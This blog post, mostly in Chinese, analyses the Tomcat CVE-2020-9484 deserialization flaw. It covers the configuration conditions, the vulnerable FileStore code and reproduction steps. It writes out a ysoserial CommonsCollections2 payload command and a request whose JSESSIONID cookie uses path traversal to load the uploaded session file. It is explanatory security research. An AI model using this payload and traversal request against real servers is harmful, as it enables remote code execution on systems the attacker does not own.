Post

Vul - CVE-2020-9484 Tomcat RCE漏洞分析


CVE-2020-9484 Tomcat RCE漏洞分析


1. 漏洞简述

当使用tomcat时,如果使用了tomcat提供的session持久化功能

  • 如果存在文件上传功能,恶意请求者通过一个流程,将能发起一个恶意请求造成服务端远程命令执行。

2. 条件

  1. tomcat/lib或者WEB-INF/lib目录下的依赖存在可用的gadget

  2. 存在文件上传功能(传到任意目录都可以,需要知道上传后的目录路径以及文件后缀必须为.session)

  3. 影响版本

1
2
3
4
Apache Tomcat 10.x < 10.0.0-M5
Apache Tomcat 9.x < 9.0.35
Apache Tomcat 8.x < 8.5.55
Apache Tomcat 7.x < 7.0.104
  1. The PersistentManager is enabled and it’s using a FileStore

  2. The attacker is able to upload a file with arbitrary content, has control over the filename and knows the location where it is uploaded

  3. There are gadgets in the classpath that can be used for a Java deserialization attack


Tomcat PersistentManager

Tomcat uses the word “Manager” to describe the component that does session management.

  • Sessions are used to preserve state between client requests,
  • and there are multiple decisions to be made about how to do that.
    • For example:
      • Where is the session information stored? In memory or on disk?
      • In which form is it stored? JSON, serialized object, etc.
      • How are sessions IDs generated?
      • Which sessions attributes do we want to preserve?

Tomcat provides two implementations that can be used:

  • org.apache.catalina.session.StandardManager (default)
  • org.apache.catalina.session.PersistentManager

The StandardManager will keep sessions in memory.

  • If tomcat is gracefully closed, it will store the sessions in a serialized object on disk (named “SESSIONS.ser” by default).

The PersistentManager does the same thing, but with a little extra:

  • swapping out idle sessions.
  • If a session has been idle for x seconds, it will be swapped out to disk.
  • It’s a way to reduce memory usage.

You can specify where and how you want swapped sessions to be stored.

  • Tomcat provides two options:
    • FileStore:
      • specify a directory on disk,
      • where each swapped session will be stored as a file with the name based on the session ID
    • JDBCStore:
      • specify a table in the database,
      • where each swapped session will be stored as individual row

Configuration

By default, tomcat will run with the StandardManager

  • An administrator can configure to use the PersistentManager instead,
  • by modifying conf/context.xml:
1
2
3
<Manager className="org.apache.catalina.session.PersistentManager" maxIdleSwap="15">
    <Store className="org.apache.catalina.session.FileStore" directory="./session/" />
</Manager>

When there is no Manager tag written in context.xml, the StandardManager will be used.


The exploit

When Tomcat receives a HTTP request with a JSESSIONID cookie

  • it will ask the Manager to check if this session already exists.
  • Because the attacker can control the value of JSESSIONID sent in the request
  • he put something like JSESSIONID=../../../../../../tmp/12345
  • Tomcat requests the Manager to check if a session with session ID ../../../../../../tmp/12345 exists
    • It will first check if it has that session in memory.
    • It does not.
    • But the currently running Manager is a PersistentManager
    • so it will also check if it has the session on disk.
    • It will check at location directory + sessionid + ".session"
      • which evaluates to ./session/../../../../../../tmp/12345.session
  • If the file exists
    • it will deserialize it
    • and parse the session information from it

3. 漏洞详情

当用户在使用tomcat时,启用了session持久化功能FileStore,例(conf/context.xml):

1
2
3
4
5
6
7
8
9
10
11
12
<Context>
    ...
    <Manager className="org.apache.catalina.session.PersistentManager"
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">
        <Store className="org.apache.catalina.session.FileStore" directory="./session" />
    </Manager>
</Context>
  • 需要知道directory的目录才可以? 可用很负责任的说,并不需要。

在使用了上述功能的情况下

  • 如果恶意用户可以上传指定后缀(.session)的文件时
  • 利用反序列化gadget,将能造成服务端远程代码执行
  • 原因在于FileStore类读取文件时,使用了JSESSIONID的名称,没有过滤 /../ 这样的目录穿越:

org.apache.catalina.session.FileStore:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public Session load(String id) throws ClassNotFoundException, IOException {
    // Open an input stream to the specified pathname, if any
    File file = file(id);
    if (file == null || !file.exists()) {
        return null;
    }

    Context context = getManager().getContext();
    Log contextLog = context.getLogger();

    if (contextLog.isDebugEnabled()) {
        contextLog.debug(sm.getString(getStoreName()+".loading", id, file.getAbsolutePath()));
    }

    ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, null);

    try (FileInputStream fis = new FileInputStream(file.getAbsolutePath());
            ObjectInputStream ois = getObjectInputStream(fis)) {

        StandardSession session = (StandardSession) manager.createEmptySession();
        session.readObjectData(ois);
        session.setManager(manager);
        return session;
    } catch (FileNotFoundException e) {
        if (contextLog.isDebugEnabled()) {
            contextLog.debug("No persisted data file found");
        }
        return null;
    } finally {
        context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL);
    }
}

private File file(String id) throws IOException {
    if (this.directory == null) {
        return null;
    }
    String filename = id + FILE_EXT;
    File file = new File(directory(), filename);
    return file;
}

上述代码

  • 通过构造 /../ 的filename路径
  • 将能穿越到任意目录去读取后缀为 .session 的序列化数据进行反序列化。

至于为什么tomcat的common加载器加载的org.apache.catalina.session.FileStore,能加载到gadget的依赖?

  • 原因是使用了当前类加载器:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
protected ObjectInputStream getObjectInputStream(InputStream is) throws IOException {
    BufferedInputStream bis = new BufferedInputStream(is);

    CustomObjectInputStream ois;
    ClassLoader classLoader = Thread.currentThread().getContextClassLoader();

    if (manager instanceof ManagerBase) {
        ManagerBase managerBase = (ManagerBase) manager;
        ois = new CustomObjectInputStream(bis, classLoader, manager.getContext().getLogger(),
                managerBase.getSessionAttributeValueClassNamePattern(),
                managerBase.getWarnOnSessionAttributeFilterFailure());
    } else {
        ois = new CustomObjectInputStream(bis, classLoader);
    }

    return ois;
}

它破坏了双亲委托模型的隐式加载,因为当前访问的是bug这个context项目(看后面),所以,一般情况下,Thread.currentThread().getContextClassLoader()取到的类加载器将会是应用类加载器,所以能加载得到WEB-INF/lib的依赖。

4. 漏洞复现

  1. 配置tomcat的conf/context.xml文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<Context>

    ...

    <Manager className="org.apache.catalina.session.PersistentManager"
      debug="0"
      saveOnRestart="false"
      maxActiveSession="-1"
      minIdleSwap="-1"
      maxIdleSwap="-1"
      maxIdleBackup="-1">
        <Store className="org.apache.catalina.session.FileStore" directory="./session" />
    </Manager>
</Context>
  1. 部署一个存在以下依赖的webapp到tomcat:
    • 一个存在 org.apache.commons:commons-collections4:4.0 的jar 依赖的 web服务,例bug.war
1
2
3
dependencies {
    compile 'org.apache.commons:commons-collections4:4.0'
}
  1. 使用github上的ysoserial工具
    • https://github.com/frohoff/ysoserial
    • 生成commons-collections4依赖的gadget恶意序列化数据:
    • 通过有缺陷的文件上传功能把恶意序列化数据文件上传到任意目录,但后缀必须是“.session”,例如:/tmp/22222.session
1
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "touch /tmp/tomcat-bug" > /tmp/22222.session
  1. 最后,发起恶意请求,请求payload:
    • 将会导致服务端远程代码执行。
1
GET /bug/api HTTP/1.1Host: 127.0.0.1:8080Cookie: JSESSIONID=../../../../../../../../../../../../tmp/22222

5. 写在最后

其实tomcat的安全性做得非常不错的,源码肛了一遍,也没找到什么比较强的洞,倒是有几个非security by default导致的洞,听说都给官方提交过去了,但是被以非安全配置和可信网络才可访问给忽略了。

这些非security by default的洞大概就是那么两个:

  1. session cluster sync(session集群同步):https://github.com/threedr3am/tomcat-cluster-session-sync-exp

  2. war cluster sync(war集群同步):主要是代码有点复杂,没什么时间去写exp


ref:

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.